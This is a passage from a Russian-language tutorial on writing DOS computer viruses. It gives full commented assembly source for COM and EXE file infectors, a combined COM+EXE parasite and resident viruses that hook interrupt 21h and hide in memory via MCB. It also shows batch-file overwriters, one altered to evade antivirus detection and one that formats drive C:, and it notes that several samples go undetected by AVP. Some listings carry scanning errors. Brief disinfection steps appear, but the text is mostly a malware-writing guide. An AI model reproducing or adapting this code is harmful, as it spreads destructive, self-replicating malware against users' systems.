mov dx, es
push ax
push dx
sub ax, bx ; Отнимем размер заголовка от
sbb dx, 0 ; размера файла
mov cx, 10h ; Переведем в форму
div cx ; сегмент:смещение
mov word ptr [bp+buffer+14h], dx ; Новая точка входа
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; И стэк
mov word ptr [bp+buffer+10h], id
pop dx ; Возьмем длину файла
pop ax
add ax, heap-startvirus ; И длину вирусного тела
adc dx, 0
mov cl, 9 ; 2**9 = 512
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax ; Размер файла в страницах
pop ax
and ah, 1 ; 512 байтных
mov word ptr [bp+buffer+4], dx ; Новый размер файла
mov word ptr [bp+buffer+2], ax
push cs ; Восстановим ES
pop es
mov cx, 1ah
В данном блоке пересчитывается новая точка входа и записывается в ту же переменную. Основное в данном блоке — это арифметические операции.
Последний блок:
finishinfection:
push cx ; сохраним в стэке 1ah
call open
mov ah,40h ; DOS функция записи в файл
int 1h ; Антиэвристика
lea dx,[bp+buffer] ; Пишем из буфера
pop cx ; сх байт (1Ah)
int 21h
mov ax,4202h ; Переставим указатель
xor cx,cx ; в конец файла
cwd ; xor dx,dx
int 21h
mov ah,40h ; Допишем тело вируса
int 1h ; Антиэвристика
lea dx,[bp+startvirus]
mov cx,heap-startvirus ; кол-во байт для записи (длина вируса)
int 21h
mov ah,3eh ; Закроем файл
int 21h
mo_infections:
jmp find_next
open:
mov ax,3d02h
lea dx,[bp+newDTA+30] ; Имя файла в DTA
int 21h
xchg ax,bx
ret
В этом последнем блоке вначале переписывается заголовок *.exe файла из переменной buffer, а потом к концу программы дописывается основное тело вируса, и после этого файл закрывается. Для уменьшения размера и упрощения открытия файлов используется процедура open.
Лечение данного вируса производится по следующему алгоритму:
- обнаружить инфицированный файл;
- определить место, где находятся оригинальные байты из *.exe заголовка;
- восстановить оригинальные байты;
- удалить хвост вируса.
Все вирусы, которые были приведены до этого, разработчики антивирусного обеспечения именуют как «студенческие», что в их понимании означает простейшие.
3.3. Простейшие *.COM + *.EXE вирусы
Дальше после простейших *.com и *.exe паразитов на эволюционной лестнице компьютерных вирусов стоят комбо-вирусы, т. е. вирусы, заражающие как *.com так и *.exe. Эти вирусы базируются на описанных выше методах инфицирования *.com и *.exe программ. Другими словами, это два предыдущих вируса, объединенные в один.
Следует рассмотреть, как выглядит файл до инфицирования и после:
- до инфицирования:
- после инфицирования:
В данном случае мы не можем точно сказать, настоящий это JMP или всего лишь передача управления. Это все зависит от формата зараженной программы.
Рассмотрим листинг:
;----------------------------------------------
ID = 'FN' ; Метка заражения
.model tiny ; Модель памяти
.code ;
org 100h ;
MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS
START proc near
START_VIRUS:
call FIND_OFFSET ;
FIND OFFSET: pop bp ; в BP находится текущий IP
int 1h ; Антиэвристика
sub bp, offset FIND_OFFSET ; Считаем дельта-смещение
; для адресации данных
; Смотрим, из какой программы мы запустились, и на ID при
; при заражении *.EXE хранится в SP (stack pointer) указатель на стэк
cmp sp,ID ; COM или EXE?
je RESTORE_EXE ; Я *.EXE
; Восстанавливаем первые байты *.C0M
RESTORE_COM: lea si,[bp+COM_START] ; Восстанавливаем 3 байта
mov di,100h ; оригинальные
push di ; 3 байта
movsw ;
movsb
jmp short RESTORE_DONE
; Восстанавливаем оригинальный заголовок *.EXE файла
RESTORE_EXE: push ds ; Сохраняем DS
push es ; Сохраняем ES
push cs ; Устанавливаем DS = CS
pop ds
push cs ; Устанавливаем ES = CS
pop es
lea si,[bp+JMPSAVE] ; Сохраняем CS:IP и
lea di,[bp+JMPSAVE2] ; SS:SP
movsw ;
movsw
movsw
movsw
RESTORE DONE: lea dx,[bp+DTA] ; Указатель на новый DTA
mov ah,1ah ;
int 21h ; Устанавливаем новый DTA
; Ищем файлы для инфицирования
SEARCH: lea dx,[bp+EXE_MASK] ; Ищем по маске *.EXE
call FINDFIRST ;
lea dx,[bp+COM_MASK] ; Ищем по маске *.COM
call FINDFIRST
; Возвращаем управление оригинальной программе
QUIT: push ds ; Сохраняем DS
pop ds ; Восстанавливаем DS
mov ah,1ah ;
mov dx,80h ; Восстанавливаем оригинальный DTA
cmp sp,ID-4 ; ЕХЕ или COM? ES,DS в стэке
jz QUIT_EXE ; Передаем управление *.ЕХЕ
QUIT_COM: int 21h
retn ; Передаем управление *.СОМ файлу
QUIT EXE: pop es ; Восстанавливаем ES
pop ds ; Восстанавливаем DS
int 21h ;
mov ax,es ; AX = началу PSP сегмента
add ax,16 ; Добавим размер PSP, чтобы получить CS
add word ptr cs:[bp+JMPSAVE2+2],ax ; Восстанавливаем IP
add ax,word ptr cs:[bp+STACKSAVE2+2] ; Вычисляем SS
cli ; Выключаем прерывания
mov sp,word ptr cs:[bp+STACKSAVE2] ; Восстанавливаем SP
mov ss,ax ; Восстанавливаем SS
sti ; Включаем прерывания
db 0eah ; jmp SSSS:0000
JMPSAVE2 dd ? ; CS:IP
STACKSAVE2 dd ? ; SS:SP
JMPSAVE dd ? ; EXE CS:IP
STACKSAVE dd ? ; EXE SS:SP
msg db '[c0mb0 chUmA by sl0n]',0ah,0dh,'$' ; Сообщение
;----------------------------------------------
; DOS Firidfirst / Findnext функции
FINDFIRST: mov ah,4eh ; DOS find first функция
xor cx,cx ; Искать файлы с любыми атрибутами
FINDNEXT: int 21h ;
jc END_SEARCH ; Если файлов больше нет или
; ошибки, то идем на выход
; Открываем файл
call OPEN ; Открываем файл
; Читаем заголовок файла (24 байта)
mov ah,3fh ; DOS функция чтение из файла
lea dx,[bp+BUFFER] ; читаем в BUFFER
mov cx,24 ; 24 байта
int 1h ; Антиэвристика
int 21h ;
mov ah,3eh ; DOS функция закрытия файла
int 21h ;
; Проверяем файл *.EXE или нет
CHECK_EXE: cmp word ptr [bp+BUFFER], 'ZM' ;
jne CHECK_C0M ; Если файл не *.ЕХЕ то на проверку *.СОМ
cmp word ptr [bp+BUFFER+16],ID ; ОН заражен
je ANOTHER ; Да, ищем следующий
jmp short INFECT_EXE ; Нет? Ну тогда заразим его!
; Проверяем *.COM это случаем не C0MMAND.COM
CHECK_COM: cmp word ptr [bp+DTA+35],'DN' ;
jz ANOTHER ; Да, ищем другой
; Проверим заражен *.СОМ файл
;
mov ах,word ptr [bp+DTA+26] ; Кладем размер в ax
cmp ax,(65535-(ENDHEAP-START_VIRUS)); Если слишком большой.
jle ANOTHER ; Ищем новый
mov cx,word ptr [bp+BUFFER+1] ; Кладем смещение в cx
add cx,END_VIRUS-START_VIRUS+3 ; Добавляем размер вируса
cmp ax,cx ; сравним ax и cx
jnz INFECT_COM ; Если здоровый, то заразим его
ANOTHER: mov ah,4fh ; Ищем новую жертву
jmp short FINDNEXT ;
END_SEARCH: retn ;
INFECT_COM:
; Сохраняем первые три байта оригинального заголовка *.COM файла
lea si,[bp+BUFFER] ;
lea di,[bp+COM_START] ; Сохраним их в переменную C0M_START
movsw
movsb
; Вычисляем длину перехода на тело вируса
; В ах хранится размер файла
mov сх, З ; Кол-во байт в самом JMP
sub ах, сх ; размер файла - 3
mov byte ptr [si-3],0e9h ; Первым байтом нового заголовка будет jmp
mov word ptr [si-2],ax ; Остальными двумя смещение перехода
jmp D0NE_INFECTI0N ;
INFECT_EXE:
; Сохраним оригинальные CS:IP и SS:SP
les ах,dword ptr [bp+BUFFER+20] ; Получим CS:IP
mov word ptr [bp+JMPSAVE],ax ; Сохраняем IP
mov word ptr [bp+JMPSAVE+2],es ; Сохраняем CS
les ax,dword ptr [bp+BUFFER+14] ; Получим SS:SP
mov word ptr [bp+STACKSAVE],es ; Сохраняем SP
mov word ptr [bp+STACKSAVE+2],ax ; Сохраняем SS
; Получим размер заголовка в байтах
mov ах,word ptr [bp+BUFFER+8] ; Получим размер заголовка
mov cl,4 ; Переведем параграфы в байты
shl ax,cl ; Умножением на 16
xchg ax,bx ; Кладем размер заголовка в bx
; Получим размер файла
les ax,[bp+offset DTA+26] ; Получим размер файла
mov dx,es ; в формате DX:AX
push ax ; Сохраним размер файла
push dx
sub ax,bx ; Отнимем от него
sbb dx,O ; размер заголовка
mov cx,16 ; Переведем в форму сегмент:смещение
div cx ;
; Сохраним новую точку входа (CS:IP) в заголовке.
mov word ptr [bp+BUFFER+20],dx ; Сохраняем IP
mov word ptr [bp+BUFFER+22],ax ; Сохраняем CS
; Сохраним указатель на стэк (SS:SP) в заголовке.
mov word ptr [bp+BUFFER+14],ах ; Сохраняем SS
mov word ptr [bp+BUFFER+16],ID ; Сохраняем SP
pop dx ; Восстановим размер файла
pop ax
add ax,END_VIRUS-START_VIRUS ; Добавим длину вируса к размеру файла
adc dx,0
push ax ; Сохраняем АХ
mov cl,9 ; Делим АХ
shr ax,cl ; на 512
ror dx,cl
stc ;
adc dx,ax ;
pop ax ; Восстанавливаем АХ
and ah,1 ; mod 512
; Сохраняем новый размер файла в заголовке.
mov word ptr [bp+BUFFER+4],dx ; Сохраняем новый размер файла
mov word ptr [bp+BUFFER+2],ax
push cs ; Сохраняем ES
pop es
mov cx,24
push bx
DONE_INFECTION:
push cx
call OPEN ; Открываем файл
; Запишим новый заголовок в файл.
mov ah,40h ; DOS-функция записи в файл
int 1h ; Антиэвристика
pop cx ; кол-во записываемых байт
lea dx,[bp+BUFFER] ; Пишем из буфера
int 21h ;
; Устанавливаем указатель в конец файла
mov ax,4202h ;
xor cx,cx ; Устанавливаем указатель в конец файла
cwd ;
int 21h ;
; Дописываем вирус в конец файла
mov ah,40h
lea dx,[bp+START_VIRUS]
mov cx,END_VIRUS-START_VIRUS
int 21h
; Close the file.
mov ah,3eh ; DOS-функция закрыть файл
int 21h ;
pop bx
BOMB_DONE: mov ah,09h ;
lea dx,[bp+msg] ; Выведем сообщение
int 21h ;
jmp QUIT ; Вернем управление оригинальной программе
; Процедура открытия файла
OPEN proc near
mov ax,3d02h ; DOS-функция открыть файл на чтение/запись
int 1h
lea dx,[bp+DTA+30] ;
int 21h ;
xchg ax,bx ; Кладем указатель на файл в bx
retn ; Возврат
OPEN endp
; Дальше идет область данных
COM_MASK db '*.com',0 ; маска *.COM файла
EXE_MASK db '*.exe',0 ; маска *.ЕХЕ файла
COM_START db 0cdh,20h,0 ; Заголовок зараженного файла
START endp
END_VIRUS equ $ ; Метка конца вируса
; Все, что идет после этой строки, в тело вируса не включается
BUFFER db 24 dup(?)
DTA db 43 dup(?)
ENDHEAP:
end MAIN
;----------------------------------------------
Вот мы и рассмотрели комбо-паразит. Как видите, ничего сложного в нем нет.
AVP, как собственно, и другими антивирусами, он не обнаруживается.
Подробно что-то в нем комментировать я не вижу смысла, так как по отдельности мы подробно рассмотрели паразитизм *.com и *.exe файлов.
Лечение комбо-паразита усложняется лишь тем, что придется анализировать больше файлов и сочетать приемы лечения *.com и *.exe паразитов.
3.4. Простейшие *.BAT
Сейчас мы рассмотрим написание скриптового вируса на BATCH языке. Этот скриптовый язык — аналог всем известного языка SHELL под UNIX системы.
По своей сути *.bat файлы являются обыкновенным списком DOS-команд (ну не совсем обыкновенным). В данных файлах присутствуют структуры: if, goto, for, т. е. на самом деле это язык программирования, но его описание не наша тема. Мы рассмотрим написание простейшего вируса на BATCH языке.
Рассмотрим вирус:
rem -------------------------------------------
@echo off
for %%i in (*.bat) do copy %0 %%i
@echo ::[This IS *.BAT Virus]::
rem -------------------------------------------
Вот и все, простейший *.bat overwriter готов. В это конечно, сложно поверить, но реально весь вирус заключается в строке с циклом for.
Но об этом позднее. Начнем рассмотрение данного вируса с первой строки. В первой и последней строчке (они начинаются с rem) содержится комментарий.
Все строки в *.bat файлах считаются комментарием, если начинаются с rem.
Следующая строка «@echo off» выключает вывод на монитор всех последующих команд. И наконец, самая главная строка «for %%i in (*.bat) do copy %0 %%i». В данной строке происходит поиск всех *.bat файлов в текущей директории и копирование вируса на их место.
В предпоследней строке выводится сообщение о том, что это вирус, инфицирующий *.bat файлы.
Но с этим вирусом есть одна маленькая проблемка: AVP его идентифицирует как «ВАТ.silly.d». То есть замечательно опознает как вирус и, наверное, даже лечить захочет.
Опознание нашего вируса происходит из-за применения в цикле маски *.bat.
Для обхода антивирусной защиты мы создадим переменную окружения и подставим ее в цикл.
Рассмотрим вирус:
rem -------------------------------------------
@echo off
set BAT=bat
for %%i in (*.%BAT%) do copy %0 %%i
@echo ::[This IS *.BAT Virus]::
rem -------------------------------------------
После данной модификации наш вирус обнаруживаться антивирусами перестал.
Но нам этого ведь мало: даже если наш вирус заразит все *.bat файлы на компьютере, ничего особо страшного не случится.
Для устрашения пользователя можно добавить немного деструкции к вирусу, например удаление всех файлов в текущей директории или форматирование винчестера.
Рассмотрим вирус:
rem -------------------------------------------
@echo off
set BAT=bat
for %%i in (*.%BAT%) do copy %0 %%i
@echo ::[This IS *.BAT Virus]:: .
@echo off
format с: /у
rem -------------------------------------------
Вот это уже посерьезнее.
Существует множество вариантов реализации *.bat вирусов, некоторые пишут вирусы на Ассемблере и затем уже вставляют внутрь *.bat файла в качестве
debug скрипта. Мы с вами разобрались с наипростейшей реализацией *.bat вируса.
Борьба с данным вирусом довольно примитивна:
- идентифицировать вирус по маске;
- удалить вирус.
Функции маскировки и ускорения эпидемии
Глава 4. Резидентность
Что же такое резидентность? Давайте рассмотрим аналогию. Обычная программа, когда завершает свою работу, выгружает себя из памяти. Резидентная же программа после завершения работы оставляет какую-то часть программного кода в памяти. Резидентные программы в большинстве случаев перехватывают какие-нибудь прерывания, чтобы по какому-нибудь событию продолжить свое выполнение.
Что же резидентность дает разработчикам вирусов? Для чего они могут ее использовать? Во-первых, они могут во много раз усилить эпидемию, если будут заражать каждый файл, запущенный пользователем или открытый им для чтения/записи. Но это не все, что им дает данная техника. Она открывает перед ними возможности стелс-вирусов.
Итак, рассмотрим алгоритм простейшей резидентной программы.
- Программа размещает в памяти какую-то свою часть.
- Подменяет обработчик прерывания (чтобы реагировать на определенные действия пользователя).
- Завершает свою работу, оставаясь резидентной (TSR — terminate stay resident).
Разберемся более подробно с этим алгоритмом на примере.
.model tiny
.code
org 100h
start:
mov ax,3521h ; Получить вектор 21 прерывания
int 21h
mov word ptr [int21_addr],bx ; Сохранить адрес 21 прерывания
mov word ptr [Int21_addr+02h],es ;
mov ah,25h ; Установить наш обработчик 21 прерывания
int 1h ; Антиэвристика
lea dx,int21_virus ; В dx должно быть смещение на обработчик
int 21h
mov dx, 71 ; При вызове функции TSR DOS в dx должно быть кол-во
int 27h ; байт программы, остающихся резидентными
; в данном случае вся программа
int21_virus proc near ; Наш обработчик 21 прерывания
cmp ah,4bh ; Программа запускается или загружается?
jne int21_exit ; Нет? Тогда возвратим управление оригинальному
; обработчику
push cs ; Положим CS в стек
pop ds ; Загрузим из стека CS в DS (теперь CS-DS)
mov ah,09h ; Значит, все-таки файл запущен. Выведем
lea dx,msg ; сообщение и возвратим управление оригинальному
; обработчику
int21_exit:
db 0eah ; Это код команды JMP
code_end:
int21_addr dd ? ; Адрес 21 прерывания
msg db "Hello i am resident programm $' ; Собственно сообщение, которое будем выводить
endp
end start
; ---------------------------------------------
Что же эта программа делает? Сначала она подменяет DOS-обработчик 21 прерывания собственным и после этого вся садится в память и завершает исполнение методом «прервать, остаться резидентной» (TSR — terminate stay resident). Если же запускается какая-то программа (функция 4bh, 21 прерывание), то управление получает вирусный обработчик, выводит строку приветствия и возвращает управление оригинальному обработчику (программа, которую запускали, не запускается, так как в вирусном обрабочике это не предусмотрено).
Разберем более подробно данную программу:
mov ax,3521h ; Получить вектор 21 прерывания
int 21h
mov word ptr [int21_addr],bx ; Сохранить адрес 21 прерывания
mov word ptr [Int21_addr+02h],es ;
Этот кусок кода сохраняет адрес оригинального обработчика 21 прерывания. Это происходит при помощи стандартной DOS-функции 35h, номер преры вания которого мы хотим получить. Адрес должен загружать в al — в нижний байт регистра ах. После завершения работы прерывания в регистре bx хранятся первые два байта смещения на обработчик, а в es — сегмент обработчика. Все это мы сохраняем в переменную int21_addr для последующего возвращения управления оригинальному обработчику.
mov ah,25h ; Установить наш обработчик 21 прерывания
lea dx,int21_virus ; В dx должно быть смещение на обработчик
int 21h
В данном блоке DOS-функцией 25h устанавливается новый обработчик 21 прерывания, в регистре dx должно быть смещение на новый обработчик.
mov dx, 72 ; При вызове функции TSR DOS в dx должно быть кол-во
int 27h ; байт программы, остающихся резидентными
; в данном случае вся программа
Здесь вызывается DOS функция TSR — прервать, остаться резидентной. Резидентными остаются 72 байта данной программы, т. е. вся она.
int21_virus proc near ; Наш обработчик 21 прерывания
cmp ah,4bh ; Программа запускается или загружается?
jne int21_exit ; Нет? Тогда возвратим управление оригинальному
; обработчику
push cs ; Положим CS в стек
pop ds ; Загрузим из стека CS в DS (теперь CS-DS)
mov ah,09h ; Значит, все-таки файл запущен. Выведем
lea dx,msg ; сообщение и возвратим управление оригинальному
; обработчику
int21_exit:
db 0eah ; Это код команды JMP
code_end:
int21_addr dd ? ; Адрес 21 прерывания
msg db "Hello i am resident programm $' ; Собственно сообщение, которое будем выводить
endp
Здесь в обработчике прерывания идет проверка на запуск программы. Если программа запускается, то выводится сообщение. Если программа не запускается, то остальные функции DOS обрабатывает оригинальный обработчик 21 прерывания. Рассмотрим теперь алгоритм резидентного вируса.
- Проверка на присутствие в памяти (в простейшем случае может не приствовать)
- Выделение области памяти для вирусного тела.
- Перенос вирусного тела в память.
- Подмена обработчика прерывания вирусным обработчиком.
- Возвращение управления программе, из которой вирус стартовал (в простейшем случае может не присутствовать).
Теперь давайте нашу простую резидентную программу преобразуем в простейший резидентный вирус. Что же в нашей программе нужно изменить, чтобы она стала вирусом? Да почти ничего! Нужно всего лишь вывод приветствия заменить на запись вирусного тела в стартующую программу. Также желательно (но не необходимо) добавить проверку на присутствие в памяти.
Рассмотрим листинг:
.model tiny
.code
org 100h
start:
mov ax, 7357 ; Проверка на присутствие в памяти
int 21h ;
cmp bx, 7357 ; Если мы в памяти, то
jne next ;
ret ; завершаем программу
next:
mov ax,3521h ; Получить вектор 21 прерывания
int 21h
mov word ptr [int21_addr],bx ; Сохраним адрес 21 прерывания
mov word ptr [int21_addr+02h],es ;
mov ah,25h ; Установить наш обработчик 21 прерывания
lea dx,int21_virus ; В dx должно быть смещение на обработчик
int 1h ; Антиэвристика
int 21h
mov dx,67 ; При вызове функции TSR DOS в dx должно быть кол-во
int 27h ; байт программы, остающихся резидентными, -
; в данном случае вся программа
int21_virus proc near ; Вирусный обработчик прерывания
cmp ax,7357 ; Проверка на присутствие. Если нас зовут,
jne nO ;
mov bx,7357 ; тогда откликнемся
nO:
cmp ah,4bh ; Если запущена/загружена программа
jne int21_exit ; Нет, отдадим управление оригинальному обработчи
mov ax,3d02h ; Все-таки запущена, тогда
int 21h ; откроем ее файл для чтения/записи
xchg ax, bx ; и положим хэндл файла в bx
push cs ; Приравняем сегмент данных сегменту кода
pop ds ;
mov ah,40h ; Запишем в файл
lea dx,start ; свое тело, затирая оригинальные байты программы,
mov cx,code_end-start
int21_exit:
db 0eah ; Это код комманды JMP
code_end:
int21_addr dd ? ; Адрес оригинального 21 прерывания
endp
end start
; ---------------------------------------------
Давайте разберемся, как производится проверка на присутствие вируса в памяти и для чего.
В начале программы перед посадкой в память вызывается функция 7357, которой на самом деле не существует, но если вирус находится в памяти, то он ответит данной функции, поместив в регистр bx аналогичное значение. Это делается для того, чтобы вирус по многу раз не усаживался в оперативную память.
Проверка на присутствие выглядит следующим образом:
mov ax, 7357 ; Проверка на присутствие в памяти
int 21h ;
cmp bx, 7357 ; Если мы в памяти, то
jne next ;
ret ; завершаем программу
Если вирус в памяти присутствует, то программа завершает свое выполнение.
А вот та часть вирусного обработчика 21 прерывания, которая отвечает за ответ при проверке на присутствие в памяти:
cmp ax,7357 ; Проверка на присутствие. Если нас зовут,
jne nO ;
mov bx,7357 ; тогда откликнемся
При вызове функции 7357 в регистр bx помещается аналогичное значение. В чем же заключается главный недостаток данного вируса? Он заключается том, что при использовании 27 прерывания (TSR), работа данной программы завершается, но большинству вирусов-паразитов нужно не прерывать программу, а передать ей управление. В этом заключается один большой демаскирующий эффект вируса данного типа.
Второй же недостаток — это то, что в начале при запуске программы она заражается и не запускается: перед заражением следует запустить данную программу и только после этого заражать. Все равно даже эта поправка не одурачит пользователя, потому что файл после инфицирования перестанет функционировать должным образом. Именно по этой причине в большинстве случаев не используют 27 прерывание. Чаще всего для размещения вируса в памяти используют MCB (Memory Control Block).
Приведенный ниже вирус внедряется в память путем выделения памяти через МСВ, а затем напрямую подменяет оригинальный обработчик 21 прерывания на свой. При запуске программы он проверяет, не *.ехе ли программа запущена путем проверки первых двух байт (в *.ехе файлах первые два байта обязательно «MZ»).
Взглянем на листинг:
; ---------------------------------------------
code segment
assume cs:code,ds:code
org 100h
.286 ; этот режим необходим для использования
; pusha, popa
black db 0e9h,0,0 ; jmp на start (чтобы не было заражения
; самого себя)
start: call delta ; Этот call необходим
pop bp ; для получения дельта-смещения
int 1h ; Антиэвристика
sub bp,offset delta ; Для этого используем регистр bp
mov ah,099h ;
int 21h ; Проверка на присутствие в памяти
cmp bh,099h ; Если мы находимся в памяти, то передадим
je first3 ; управление оригинальной программе
sub word ptr cs:[2],80h ; Значит, нас в памяти нет, тогда садимся
mov ax, cs ; Устанавливаем ах, чтобы указывал на cs
dec ax ; Уменьшим ах на 1, теперь он указывает на
mov ds, ax ; MCB, положим в ds - ах
sub word ptr ds:[3],80h ; отгрызем себе памяти 2 кб
xor ax, ax ; положим в ах - 0
mov ds, ax ; поместим 0 в ds
sub word ptr ds:[413h],2 ; добавочные BIOS данные 2 кб
mov ax,word ptr ds:[413h] ; поместим их в ах
mov cl,6 ; положим в cl - 6
shl ax, cl ; Умножим доступную память на 64
mov es, ax ; результат в es
push cs ; настроим через стек
pop ds ; ds на cs
xor di, di ; обнулим di
lea si,[bp+start] ; откуда начинаем посадку в память
mov cx,finished-start ; кол-во байт для посадки в память (весь вирус)
rep movsb ; Садимся в память
xor ax, ax ; Обнулим ах
mov ds, ax ; Положим ах в ds
lea ax,new21 ; Делаем так, чтобы ах указывал на новый
; обработчик 21 прерывания
sub ax,offset start ; отнимем смещение от начала (start)
mov bx, es ; положим экстрасегмент в bx
cli ; выключаем прерывания
xchg ах,word ptr ds:[84h] ; переключаемся на новый обработчик
xchg bx,word ptr ds:[86h] ;
mov word ptr es:[oi21-offset start],ax ; и сохраняем старый
mov word ptr es:[oi21+2-offset start],bx ;
sti ; включаем прерывания
push cs cs ; настраиваем ds и es через стек, чтобы
pop ds es ; они указывали на cs
first3: lea si,[bp+saved] ; si указывает на оригинальные байты
mov di,100h ; положим в di 100h
push di ; и затем это значение поместим в стек
movsw ; восстановим 2 оригинальных байта
movsb ; восстановим 1 оригинальный байт
retn ; возвратим управление по адресу 100h
; т. е. его получит оригинальная програк
new21: ; Новый обработчик 21 прерывания
pusha ; положим в стек все регистры
push ds ; положим в стек ds
cmp ah,099h ; Это проверка на присутствие в памяти?
je rezchk ; Да, мы там уже сидим
cmp ah,4bh ; Какая-то программа запущена
je infect ; да, заразим ее
exit:
pop ds ; восстановим ds из стека
popa ; восстановим все регистры из стека
db 0eah ; передадим управление оригинальному
; обработчику
oi21 dd ? ; Оригинальный обработчик хранится здесь
rezchk: mov bh,099h ; Ответим на вопрос присутствия в памяти
jmp exit ; и передадим управление оригинальному
; обработчику
infect: call tsrdel ;
tsrdel: pop bp ; Получаем новое
sub bp,offset tsrdel ; дельта-смещение
mov ax,3d02h ; откроем запущенный файл в режиме
int 21h ; чтение/запись
xchg bx,ax ; положим хэндл файла в bx
push cs cs ; настраиваем ds и es через стек, чтобы
pop ds es ; они указывали на cs
mov ah,3fh ; Читаем из файла
lea dx,[bp+saved] ; в переменную saved
mov cx,3 ; первых 3 байта
int 21h ;
cmp word ptr [bp+saved],'ZM'; Проверяем, а не *.ехе ли это
je close ; да, это *.ехе, закрываем файл
cmp word ptr [bp+saved],'MZ';
je close ;
mov ax,4202h ; Переходим в конец файла
xor cx,cx ; Обнуляем сх
cwd ; Обнуляем dx
int 21h ; Теперь в ах хранится размер запущенного
; файла
mov cx,word ptr [bp+saved+1]; Положим 2 и 3 байты из заголовка в сх
add cx, finished-start+3 ; добавим размер вируса и длину прочитанных
; байтов (3)
cmp ax,cx ; Если ах=сх, то файл уже инфицирован
jz close ; Закроем его
sub ax,3 ; Отнимем от ах - 3 длину самого jmp
mov word ptr [bp+newjump+1],ax ; и запишем длину перехода в переменную
; newjump
mov ax,4200h ; Перейдем в начало файла
xor cx,cx ; Обнулим сх
cwd ; Обнулим dx
int 21h ;
mov ah,40h ; Запишем в начало программы
lea dx,[bp+newjump] ; jmp на тело вируса
mov cx, 3 ; это 3 байта
int 21h ;
mov ax,4202h ; Переходим в конец файла
xor cx, cx ; Обнуляем сх
cwd ; Обнуляем dx
int 21h
mov ah,40h ; Дописываем тело вируса
lea dx,[bp+start] ; от начала
mov cx,finished-start ; и до конца
int 21h
close:
mov ah,3eh ; Закрываем файл
int 21h ;
abort: jmp exit ; Возвращаем управление оригинальному
; обработчику
saved db 0cdh,20h,0 ; сохраненные байты
newjump db 0e9h,0,0 ; Здесь будет jmp + смещение
finisned: ; Все, конец вируса
code ends
end blank
; ---------------------------------------------
В данном вирусе стоит особо остановиться на двух моментах.
- Рассмотрим посадку в память:
sub word ptr cs:[2],80h ; Значит, нас в памяти нет, тогда садимся
mov ax, cs ; Устанавливаем ах, чтобы указывал на cs
dec ax ; Уменьшим ах на 1, теперь он указывает на
mov ds, ax ; MCB, положим в ds - ах
sub word ptr ds:[3],80h ; отгрызем себе памяти 2 кб
xor ax, ax ; положим в ах - 0
mov ds, ax ; поместим 0 в ds
sub word ptr ds:[413h],2 ; добавочные BIOS данные 2 кб
mov ax,word ptr ds:[413h] ; поместим их в ах
mov cl,6 ; положим в cl - 6
shl ax, cl ; Умножим доступную память на 64
mov es, ax ; результат в es
push cs ; настроим через стек
pop ds ; ds на cs
xor di, di ; обнулим di
lea si,[bp+start] ; откуда начинаем посадку в память
mov cx,finished-start ; кол-во байт для посадки в память (весь вирус)
rep movsb ; Садимся в память
Она отличается тем, что несколько сложнее реализуется, но я бы рекомендовал использовать именно ее, так как при ее использовании появляется возможность написания резидентных паразитов. Также уменьшается вероятность обнаружения антивирусными программами, так как не используются «подозрительные» DOS-функции.
- Прямой перехват 21 прерывания (подмена обработчика):
xor ax, ax ; Обнулим ах
mov ds, ax ; Положим ах в ds
lea ax,new21 ; Делаем так, чтобы ах указывал на новый
; обработчик 21 прерывания
sub ax,offset start ; отнимем смещение от начала (start)
mov bx, es ; положим экстрасегмент в bx
cli ; выключаем прерывания
xchg ах,word ptr ds:[84h] ; переключаемся на новый обработчик
xchg bx,word ptr ds:[86h] ;
mov word ptr es:[oi21-offset start],ax ; и сохраняем старый
mov word ptr es:[oi21+2-offset start],bx ;
sti ; включаем прерывания
Преимущества в этом методе те же, что и с посадкой в память, а именно:
- маскировка;
- удобство реализации паразитов.
В общем, описанный выше вирус является простейшим резидентным *.com паразитом. При проверке его AVP он вирусом назван не был, а идентифицировался как «подозрение на вирус типа TypeCOM_TSR». А самый простой резидентный вирус вообще никак не идентифицировался.
Лечение данных вирусов никак не отличается от их *.com и *.exe нерезидентных братьев. Разве что перед лечением необходимо загрузиться с чистой DOS-дискеты.
Глава 5. Вирусные технологии
Теперь поговорим о том, как вирусы прячутся от людей и антивирусных программ.
Самые первые маскировочные приемы — это усиление кода и перехват сообщений об ошибке записи. Позже появился так называемый «не полный стелс-механизм», т. е. когда либо пользователь, либо программа обращалась к зараженному файлу, а резидентный вирус (который постоянно находится в памяти как бы в спящем состоянии) просыпался и изменял информацию о размере файла на старый размер файла, как будто вирусного тела там и не было. Но если заглянуть внутрь файла, то вирусное тело, как и положено, будет на месте, что и позволяет его удалить.
Позже появились вирусы, основанные на так называемой технологии «полный стеле». Данная технология заключалась в том, что вирус, как и в предыдущем случае, будучи резидентным отлавливал DOS-функции чтения или изменения файла и перед тем как передать управление DOS'y, он вначале удалял вирусное тело. Когда пользователь или антивирусная программа просматривали файл, то вируса там уже не было, а перед закрытием та часть вируса, что была в памяти, опять заражала этот файл. Поэтому было очень сложно обнаружить вирусы с данной технологией маскировки.
Сейчас довольно распространены вирусы, которые в большинстве случаев для маскировки используют антиэвристические механизмы и «мутационные» технологии.
5.1. Ускорение эпидемии и простейшая маскировка
Написание обыкновенного нерезидентного вируса сопряжено с рядом проблем. Например, замечательный вирус поселился на каком-нибудь компьютере и заразил всю директорию в которой он находился. А что если ни один зараженный файл из этой директории не будет скопирован в другие директории? Так вирус может томиться в ожидании долгие месяцы или даже годы, а если сн и был перемещен с зараженным файлом в другую директорию, то дальше инфицирования этой директории дело не двинется. Так что же в этой ситуации делать? Необходимо использовать такой прием для ускорения эпидемии. В чем же заключается его сущность? Все довольно просто: вирус должен обойти директории и все встреченные подходящие файлы заразить. Необходимо модифицировать наш *.com паразит таким образом, чтобы он всего лишь менял директории.
Существует множество способов обхода директорий, но каждый разработчик вирусов использует свой любимый. Мы рассмотрим самый расспространенный. Это так называемый «dot dot»8 обход, его сущность заключается в том, что запоминается текущая директория, а затем из нее идет смена директорий методом подъема на высшую директорию, аналогично команде DOS «cd ..». Koгда корневой каталог достигнут, происходит возвращение в каталог, из которого вирус стартовал.
Теперь рассмотрим в качестве примера сохранение текущей директории в переменную «curr_dir»:
mov ah,47h
xor dl,dl
lea si,[bp+curr_dir]
int 21h
Здесь все довольно тривиально и объяснять особо нечего.
Теперь посмотрим, как сменить директорию на более высокую:
mov ah,3bh
lea dx,[bp+dot_dot]
int 21h
Здесь тоже все довольно просто, но стоит заметить, что для относительной адресации обращаемся к данным с использованием индексного регистра bp.
